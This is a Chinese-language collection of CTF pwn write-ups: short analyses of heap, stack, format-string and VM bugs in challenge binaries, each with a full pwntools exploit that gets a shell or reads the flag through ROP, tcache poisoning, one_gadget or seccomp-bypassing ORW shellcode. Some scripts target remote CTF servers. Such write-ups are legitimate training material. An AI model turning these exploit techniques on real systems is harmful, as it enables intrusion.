标签 heap 下的文章

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()

SuperHeap

go 套壳的普通 libc 2.35 heap。go 主函数逻辑在 main_main,可以看到有 seccomp 沙箱,用 seccomp-tools 查看:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x08 0x00 0x00000029  if (A == socket) goto 0014
 0006: 0x15 0x07 0x00 0x0000002a  if (A == connect) goto 0014
 0007: 0x15 0x06 0x00 0x00000031  if (A == bind) goto 0014
 0008: 0x15 0x05 0x00 0x00000032  if (A == listen) goto 0014
 0009: 0x15 0x04 0x00 0x00000038  if (A == clone) goto 0014
 0010: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0014
 0011: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0014
 0012: 0x15 0x01 0x00 0x000000a5  if (A == mount) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 0015: 0x06 0x00 0x00 0x00000000  return KILL

,只允许 x86_64,禁掉了 execvesocket 之类,最好 ORW 吧。

然后来到真正的菜单堆逻辑:

while (1) {
    v15 = main_BPUGMG();
    v16 = qword_41A3D0;
    v21 = *(void (***)(void))runtime_mapaccess2_fast64(
        (unsigned int)&RTYPE_map_int_func, qword_41A3D0, v15);
    if (v16) {
        (*v21)();
    } else {
        v35[0] = &RTYPE_string;
        v35[1] = &aInval;
        v1 = 1;
        v2 = 1;
        fmt_Fprintln((unsigned int)off_2BCBE8, qword_41A3E8, (unsigned int)v35,
                     1, 1, (unsigned int)&aInval);
    }
}

。输入数字,从一个 map 取出对应功能函数并执行。创建 CTFBook 逻辑在 main_WEB5SF,其中会读入字符串并解码然后创建新 CTFBook,解码过程是:

encoding_base32__ptr_Encoding_DecodeString -> github_com_golang_protobuf_proto_Unmarshal -> 各字段 encoding_base64__ptr_Encoding_DecodeString

重点是 protobuf,用到的库是 github.com/golang/protobuf,这个库应该是可以直接识别 go 原生类,反序列化对应的 protobuf 数据,因此之后我们编码的时候可以直接用类定义里的字段名(之前做过 go json 序列化的题,json 里的字段名和类定义里的不同,排了很久的错)。到 IDA 的 Local Types,可以看到这个结构体:

00000000 struct __attribute__((aligned(8))) mypackage_CTFBook // sizeof=0x78
00000000 {
00000000     impl_MessageState state;
00000008     int32 sizeCache;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     _slice_uint8 unknownFields;
00000028     string Title;
00000038     string Author;
00000048     string Isbn;
00000058     string PublishDate;
00000068     float64 Price;
00000070     int32 Stock;
00000074     // padding byte
00000075     // padding byte
00000076     // padding byte
00000077     // padding byte
00000078 };

,其中 statesizeCacheunknownFields 应该是 protobuf 库生成的,CTFBook 原本的字段是 TitleAuthorIsbnPublishDatePriceStock。所以可以编写这样的 .proto 文件:

syntax = "proto3";

package mypackage;

message CTFBook {
    string Title = 1;
    string Author = 2;
    string Isbn = 3;
    string PublishDate = 4;
    double Price = 5;
    int32 Stock = 6;
}

protoc 编译成 Python 脚本:

$ protoc ctf_book.proto --python_out=.

然后就可以用 Python 愉快输入了:

from ctf_book_pb2 import CTFBook
from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

之后简单 fuzz 一下发现虽然没有 UAF ,但是 edit 时不会检查长度,可以任意堆溢出。所以可以修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

完整 exp:

#!/usr/bin/python

from pwn import *
from ctypes import *
from ctf_book_pb2 import CTFBook

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './SuperHeap'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

gdb.attach(io, 'set resolve-heap-via-heuristic force') # goroutine 多线程会干扰 pwndbg 识别 main_arena

from dataclasses import dataclass
@dataclass
class Book:
    Title: bytes
    Author: bytes
    Isbn: bytes
    PublishDate: bytes
    Price: float
    Stock: int

    def to_proto_encoded(self):
        book = CTFBook()
        book.Title = base64.b64encode(self.Title)
        book.Author = base64.b64encode(self.Author)
        book.Isbn = base64.b64encode(self.Isbn)
        book.PublishDate = base64.b64encode(self.PublishDate)
        book.Price = self.Price
        book.Stock = self.Stock
        return base64.b32encode(book.SerializeToString())

# count: 28
def add(index: int, book: Book):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def show(index: int):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b': ', itob(index))

def delete(index: int):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b': ', itob(index))

def edit(index: int, book: Book):
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', book.to_proto_encoded())

def search(keyword: str):
    io.sendlineafter(b'> ', b'5')
    io.sendlineafter(b': ', keyword.encode())

add(0, Book(cyclic(0x800), b'', b'', b'', 0, 0))
delete(0)
for i in range(5):
    add(i, Book(b'', b'', b'', b'', 0, 0))
show(4)
io.recvuntil(b'Author: ')
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2207136
print(f'libc_base: 0x{libc.address:x}')
show(3)
io.recvuntil(b'Title: ')
heap_base = (u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 2) << 12
print(f'heap_base: 0x{heap_base:x}')

edit(4, Book(cyclic(40) + p64(0x81) + p64(libc.sym['_IO_list_all'] ^ ((heap_base >> 12) + 2)), b'bbb2', b'ccc3', b'ddd4', 10101, 20202))
add(5, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))
add(6, Book(cyclic(0x70), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

from SomeofHouse import HouseOfSome

hos = HouseOfSome(libc=libc, controled_addr=heap_base + 0x1000)
payload = hos.hoi_read_file_template(heap_base + 0x1000, 0x400, heap_base + 0x1000, 0)
print(payload)
add(7, Book(payload + b'rrrr', b'', b'', b'', 0, 0))
add(8, Book(p64(heap_base + 13344) + cyclic(0x68), b'2bbb', b'3ccc', b'4ddd', 10101, 20202))

io.sendlineafter(b'> ', b'6')
hos.bomb_orw(io, b'/flag')

io.interactive()

虽然做出来了,但是对于 go 部分的理解还比较混乱。

unint

输入负数作为无符号整数得到“无限”长栈溢出,fmtstr 获取 canary,32 位栈传参 ret2libc。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './unint' 

# p = process(binary) 
p = connect('27.25.151.80', 40288) 
e = ELF(binary) 
libc = ELF('./libc.so.6') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'%7$p') 
p.recvuntil(b':') 
canary = int(p.recvuntil(b'S', drop=True), 16) 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(e.sym['puts']) + p32(e.sym['vuln']) +
 p32(e.got['puts'])) 
p.recvuntil(b'\n') 
libc.address = u32(p.recv(4)) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

p.sendlineafter(b'? ', b'-100') 
p.sendlineafter(b'?\n', b'RiK') 
p.sendlineafter(b'!\n', cyclic(32) + p32(canary) + cyclic(12) + p32(libc.address + 0x3a81c)) 

p.interactive()

Sharwama

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"]) 
binary = './Shawarma' 

p = connect('27.25.151.80', 33485) 
e = ELF(binary) 

# gdb.attach(p, "set follow-fork-mode parent") 

for i in range(1000): 
    p.sendline(b'5') 

p.sendline(b'2') 

p.interactive()

ret2half

首先绕过给出种子的猜随机数得到 admin 权限,可自由 view chunk。存在 UAF,限制 add 9 次。申请 0x10 大小获得先前 free chunk in tcache,view 得堆基址(tcache safe-linking xor with null)。然后 tcache poisoning 将 fake chunk 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,view(回答玩原神)leak libc base。过程中顺便填入之后要用到的 shellcode。修改 tcache_perthread_struct 中 0x20 tcache_entry 为 &_environ、0x30 tcache_entry 为 &(0x80 tcache_entry),再次申请 0x10 大小 chunk 至 &_environ,view leak stack base。申请 0x20 大小 chunk 至 0x80 tcache_entry,写入 &stack;申请 0x70 大小 chunk 至 stack,写入 ROP 调用 mprotect 修改堆区页可执行并 ret2shellcode。本题开启 seccomp 沙箱禁用 execve open 等,需要 ORW(openat2、read、write)。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug')
binary = './ret2half'

#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0001: 0x35 0x00 0x03 0x40000000  if (A < 0x40000000) goto 0005
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x15 0x01 0x00 0xffffffff  if (A == 0xffffffff) goto 0005
#  0004: 0x06 0x00 0x00 0x00000000  return KILL
#  0005: 0x15 0x0b 0x00 0x00000065  if (A == ptrace) goto 0017
#  0006: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0007: 0x15 0x09 0x00 0x00000130  if (A == open_by_handle_at) goto 0017
#  0008: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0009: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0017
#  0010: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0011: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0017
#  0012: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0013: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0017
#  0014: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0015: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0017
#  0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
#  0017: 0x06 0x00 0x00 0x00000000  return KILL

p = process(binary)
e = ELF(binary)
libc = cdll.LoadLibrary('./libc.so.6')

p.sendlineafter(b':\n', cyclic(9))
p.sendlineafter(b':\n', cyclic(9))

# get admin
p.sendlineafter(b':\n', b'3')
p.recvuntil(b'?\n')
seed = int(p.recv())
libc.srand(seed)
p.sendline(str(libc.rand()).encode())
libc = ELF('./libc.so.6')

# max: 9, size 1 ~ 112
def add(size: int, content: bytes):
    p.sendlineafter(b':\n', b'1')
    p.sendlineafter(b':\n', str(size).encode())
    p.sendlineafter(b':\n', content)

def edit(content: bytes):
    p.sendlineafter(b':\n', b'2')
    p.sendlineafter(b':\n', content)

def view():
    p.sendlineafter(b':\n', b'3')

def delete():
    p.sendlineafter(b':\n', b'4')

# gdb.attach(p)

add(0x10, b'')
view()
p.recvuntil(b'info:\n')
heap_base = (u64(p.recv(5).ljust(8, b'\x00')) >> 4) << 12
success(f'heap_base: {hex(heap_base)}')

shellcode = f"""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat2 ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    mov rdx, {heap_base + 0x1000}
    push 0x18 ; pop r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
"""

add(0x70, b'asd')
delete()
edit(p64(heap_base + 0x10))
add(0x70, asm(shellcode))

add(0x70, b'\x00' * ((0x250 - 0x20) // 0x10) + b'\x07')
delete()
view()
p.sendlineafter(b'Y/N', b'Y')
p.recvuntil(b'info:')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
success(f'libc_base: {hex(libc.address)}')

edit(b'\x01' * 0x40 + p64(libc.sym['_environ'] - 0x10) + p64(heap_base + 0x10 + 0x40 + ((0x80 - 0x20) // 0x10) * 0x8))
add(0x10, b'a' * 0xf)
view()
p.recvuntil(b'a' * 0xf + b'\n')
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x100
success(f'stack: {hex(stack)}')

add(0x20, p64(stack))

rop = flat([
    p64(libc.search(asm('pop rdi\nret')).__next__()), heap_base,
    # 0x0000000000130539 : pop rdx ; pop rsi ; ret;
    libc.address + 0x130539, 0x7, 0x1000,
    libc.sym['mprotect'],
    heap_base + 0x2a0
])

add(0x70, rop)

p.interactive()

远程栈偏移(environ)为 本地 - 0x8。

off-by-one

首先接收 gift backdoor。没限制堆块大小没清空堆块,leak libc、heap base。off-by-one 修改 size 构造重叠块,利用重叠堆块和堆基址绕过 safe-linking 修改 next,tcache poisoning 至 __malloc_hook,backdoor getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=[ 
        "konsole", "-e"], log_level='debug') 
binary = './off-by-one' 

p = process(binary) 
# p = connect('27.25.151.80', 39991) 
e = ELF(binary) 
libc = ELF('./libc-2.32.so') 

# gdb.attach(p, "set follow-fork-mode parent") 

p.recvuntil(b':') 
shell = int(p.recvuntil(b'1.', drop=True), 16) 
success(hex(shell)) 

def add(size: int, content: bytes = None): 
    p.sendlineafter(b': ', b'1') 
    p.sendlineafter(b': ', str(size).encode()) 
    if content is not None: 
        p.sendlineafter(b'?\n', b'1') 
        p.sendafter(b': ', content) 
    else: 
        p.sendlineafter(b'?\n', b'0') 

def delete(index: int): 
    p.sendlineafter(b': ', b'2') 
    p.sendlineafter(b': ', str(index).encode()) 

def edit(index: int, content: bytes): 
    p.sendlineafter(b': ', b'3') 
    p.sendlineafter(b': ', str(index).encode()) 
    p.sendafter(b': ', content) 

def show(index: int): 
    p.sendlineafter(b': ', b'4') 
    p.sendlineafter(b': ', str(index).encode()) 

add(0x500) 
add(0x18) 
delete(0) 
delete(1) 
add(0x500, b'a')
add(0x18) 
show(0) 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 1981537 
success(f'libc_base: {hex(libc.address)}') 
show(1) 
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12 
success(f'heap_base: {hex(heap_base)}') 

add(0x18) 
add(0x18) 
edit(1, cyclic(0x18) + b'\x41') 
delete(2) 
add(0x38) 
add(0x18) 
delete(4) 
delete(3) 
edit(2, cyclic(0x18) + p64(0x21) + p64(libc.sym['__malloc_hook'] ^ (heap_base >> 12))) 
add(0x18) 
add(0x18, p64(shell)) 

p.sendlineafter(b': ', b'1') 
p.sendlineafter(b': ', b'1') 

p.interactive()

message

打开文件模式为 a+,写入时从文件末尾开始。开启两个远程向同一个文件写入,sleep 至两进程等待输入时先后输入。view 时没有检查文件内容长度,存在栈溢出。第一次 puts leak libc,第二次 getshell。

from ctypes import * 
from pwn import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level='debug') 
binary = './message' 

e = ELF(binary) 
libc = ELF('./libc.so.6') 

def add(p): 
    p.sendlineafter(b':', b'1') 

def start_edit(p): 
    p.sendlineafter(b':', b'2') 

def edit(p, content: bytes): 
    p.sendafter(b':', content) 

def view(p): 
    p.sendlineafter(b':', b'3') 

def delete(p): 
    p.sendlineafter(b':', b'4') 

pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 

p = connect('27.25.151.80', 37364) 
q = connect('27.25.151.80', 37364) 

add(p) 
add(q) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p6
4(e.sym['main'])) 
view(p) 
p.recvuntil(b'\n') 
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts'] 
success(f'libc_base: {hex(libc.address)}') 

bin_sh = libc.search(b'/bin/sh\x00').__next__() 
system = libc.sym['system'] 
add(p) 
start_edit(p) 
start_edit(q) 
sleep(2.5) 
edit(p, cyclic(80)) 
edit(q, cyclic(0x70 - 80) + p64(0xcafebabe) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi + 1) + p64(system)
) 

# gdb.attach(p, "set follow-fork-mode parent") 

view(p) 

p.interactive()

login

两次栈迁移板子。read 的参数和缓冲区大小竟然都和羊城杯 2024 签到题一样,改一下 fake_stack 地址直接出了。

from pwn import * 
from pwnlib.util.proc import wait_for_debugger 

context(os='linux', arch='amd64', bits=64, terminal=['konsole', '-e'], log_level='debug') 

binary = './vuln' 
# p = process(binary) 
p = connect('27.25.151.80', 39571) 
libc = ELF('./libc.so.6') 
e = ELF(binary) 

# gdb.attach(p) 

puts_addr = e.plt['puts'] 
puts_got_addr = e.got['puts'] 
vuln_addr = e.sym['login'] 
pop_rdi = e.search(asm('pop rdi; ret;')).__next__() 
leave = e.search(asm('leave; ret;')).__next__() 
fake_stack = 0x601500 
pop_rbp = e.search(asm('pop rbp; ret;')).__next__() 
fake_stack2 = 0x601500 + 0x3fe300 - 0x3FE2C0 

p.sendafter(b'n!\n', cyclic(48) + p64(fake_stack + 48) + p64(vuln_addr + 4)) 
p.sendafter(b'n!\n', p64(fake_stack2 + 48) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_addr) + p64(vul
n_addr + 4) + p64(0) + p64(fake_stack) + p64(leave)) 

puts = u64(p.recvn(6).ljust(8, b'\x00')) 
libc_base_addr = puts - libc.sym['puts'] 
print(hex(libc_base_addr)) 

bin_sh = libc_base_addr + libc.search(b'/bin/sh').__next__() 
pop_rdi = libc_base_addr + libc.search(asm('pop rdi; ret;')).__next__() 
pop_rsi = libc_base_addr + libc.search(asm('pop rsi; ret;')).__next__() 
execve = libc_base_addr + libc.symbols['execve'] 
pop_r12_r13 = libc_base_addr + libc.search(asm('pop r12; pop r13; ret;')).__next__() 
one_gadget = libc_base_addr + 0x4527a 
p.sendafter(b'n!\n', p64(fake_stack2) + p64(pop_r12_r13) + p64(fake_stack2 + 24) + p64(0) + p64(one_gadge
t) + p64(execve) + p64(fake_stack2) + p64(leave)) 

p.interactive()

eznote

限制堆块大小,考虑 tcache attack。将一个 tcache 打到堆区上 tcache_perthread_struct 大堆块同时修改 tcache count,free 后得到 unsorted bin,leak libc。然后修复 size=0x20 的 tcache count,再次 tcache poisoning 至 __malloc_hook,one_gadget getshell。

from pwn import * 
from ctypes import * 

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug") 
binary = "./attachment" 

# p = connect('27.25.151.80', 37857) 
p = process(binary) 
e = ELF(binary) 
libc = ELF("./libc.so.6") 

gdb.attach(p) 

index = -1 


def add(size: int, content: bytes) -> int: 
    global index 
    assert size <= 0x80 
    p.sendlineafter(b"> ", b"1") 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 
    index += 1 
    return index 


def edit(index: int, size: int, content: bytes): 
    p.sendlineafter(b"> ", b"2") 
    p.sendlineafter(b": ", str(index).encode()) 
    p.sendlineafter(b": ", str(size).encode()) 
    p.sendafter(b": ", content) 


def show(index: int): 
    p.sendlineafter(b"> ", b"3") 
    p.sendlineafter(b": ", str(index).encode()) 


def delete(index: int): 
    p.sendlineafter(b"> ", b"4") 
    p.sendlineafter(b": ", str(index).encode()) 


add(0x80, b"aaaa") 
delete(0) 
edit(0, 0x10, b"\x00" * 0x10) 
delete(0) 
show(0) 
p.recvuntil(b": ") 
heap_base = u64(p.recv(6).ljust(8, b"\x00")) >> 12 << 12 
success(f"heap_base: {hex(heap_base)}") 

edit(0, 0x10, p64(heap_base + 0x10) + b"\x00" * 8) 
add(0x80, b"bbbb") 
edit(add(0x80, b"cccc"), 0x80, b"\x00" * 79 + b"\x07") 
delete(2) 
show(2) 
p.recvuntil(b": ") 
main_arena = u64(p.recv(6).ljust(8, b"\x00")) 
libc.address = main_arena - 2018272 
success(f"libc_base: {hex(libc.address)}") 

delete(1) 
edit(2, 0x20, p64(main_arena) + p64(main_arena)[0:7] + b"\x01") 
edit(1, 0x8, p64(libc.sym["__malloc_hook"])) 
add(0x80, b"PwnRiK") 
add(0x80, p64(libc.address + 0xE3B01)) # one_gadget

p.sendlineafter(b"> ", b"1") 
p.sendlineafter(b": ", b"1") 

p.interactive()

Format1

标准的ret2libc

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './test'

elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# io = process(file_name)
io = remote('27.25.151.80', 41880)

# gdb.attach(io)
io.recvuntil(b'BuildCTF\n')
io.recvuntil(b'=> ')
puts_addr = int(io.recvuntil(b'\n'), 16)
log.success(f"puts_addr = {hex(puts_addr)}")


io.sendline(b'%15$llx')
io.recvuntil(b's is ')
canary = int(io.recvuntil('?')[:-1], 16)
log.success(f"canary = {hex(canary)}")
libc_addr = puts_addr - libc.sym['puts']
log.success(f"libc = {hex(libc_addr)}")
system_addr = libc.sym['system'] + libc_addr
binsh_addr = next(libc.search(b'/bin/sh\x00')) + libc_addr
gad_pop_rdi_ret = libc_addr + next(libc.search(asm("pop rdi; ret;"), executable=True))

payload = cyclic(0x30 - 8) + p64(canary) + cyclic(8) + p64(gad_pop_rdi_ret) + p64(binsh_addr) +  p64(gad_pop_rdi_ret + 1) + p64(system_addr)
io.sendline(payload)

io.interactive()

Format2

已知 libc 偏移,一次 scanf 格式化字符串漏洞达到任意地址任意写,程序自然退出。注意到 libc 与 ld 偏移固定,考虑劫持 rtld_lock_default_lock_recursive 为 one_gadget,程序 exit 时在 _dl_fini 内被执行。

from pwn import *
from ctypes import *

context(arch="amd64", os="linux", terminal=["konsole", "-e"], log_level="debug")
binary = "./test1"

# p = process(binary)
p = connect('27.25.151.80', 42192)
e = ELF(binary)
libc = ELF("./libc-2.31.so")

p.recvuntil(b"0x")
libc_base = int(p.recvuntil(b"\n", drop=True).decode(), 16) - libc.sym["puts"]
success(hex(libc_base))
p.sendline(b'%7$lu'.ljust(8, b'\x00') + p64(libc_base + 0x1f4000 + 192360)) # &rtld_lock_default_lock_recursive
p.sendlineafter(b"?\n", str(libc_base + 0xE3B2E).encode())

p.interactive()

libc 与 ld 偏移与内核版本有关,一开始取本地偏移打远程打不通,换用 Ubuntu 22.04 虚拟机取偏移才顺利打通远程,其实也可以考虑爆破地址 8 bit。

Pwn - Ottoshop♿

​ 在 main 函数里看到,输入 666 可以获得一次购买 golden ♿ 的机会。注意到设置 ♿ 名字的 scanf 存在溢出。 scanf 读取数字时,输入 +- 即可跳过一次输入(因为不知道这回事卡了好久 😭),这样可以绕过 canary 保护,修改返回地址劫持控制流。buy 函数和 change 函数中都未检查负数 index,可以向上任意写。在一堆 otto 函数(雾)中发现后门函数 o77oOtTo0T70()(由于直接用 syscall 而非封装函数,所以从 got 表看不出端倪),其检查 flag2 值是否为 otto 并从 flag1 中异或出 /bin/sh\0 并执行 execve。所以只需要用 buy 修改 flag2(index = -72)、money(index = -90),用 golden 劫持控制流至后门函数即可。

Exp:

from pwn import *

context.terminal = ['konsole', '-e']

binary = 'ottoshop'
p = process(binary)
elf = ELF(binary)

address = 0x04020A4
need_to_be_666 = 0x407580
start = 0x407180
flag2 = 0x407060
money = 0x407018

pos1 = (flag2 - start) // 4
pos2 = (money - start) // 4

p.sendline(b'666')
p.sendline(b'')

p.sendline(b'1')
p.sendline(b'-72')
p.send(b'otto')

p.sendline(b'1')
p.sendline(b'-90')
p.send(b'abcd')

p.sendline(b'3')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'+')
p.sendline(b'0')
p.sendline(b'4202660')
p.interactive()

Pwn - game

​ 游戏是数字华容道。发现上下移动不会检查边界,可以修改返回地址。程序中存在后门函数 backdoor()。一开始的思路是利用栈中残余固定的值拼凑出一个 backdoor 的地址。但是调试起来十分麻烦,所以用 Python 重写了游戏,可视化手动玩,自动生成脚本,大幅减轻负担。

import numpy

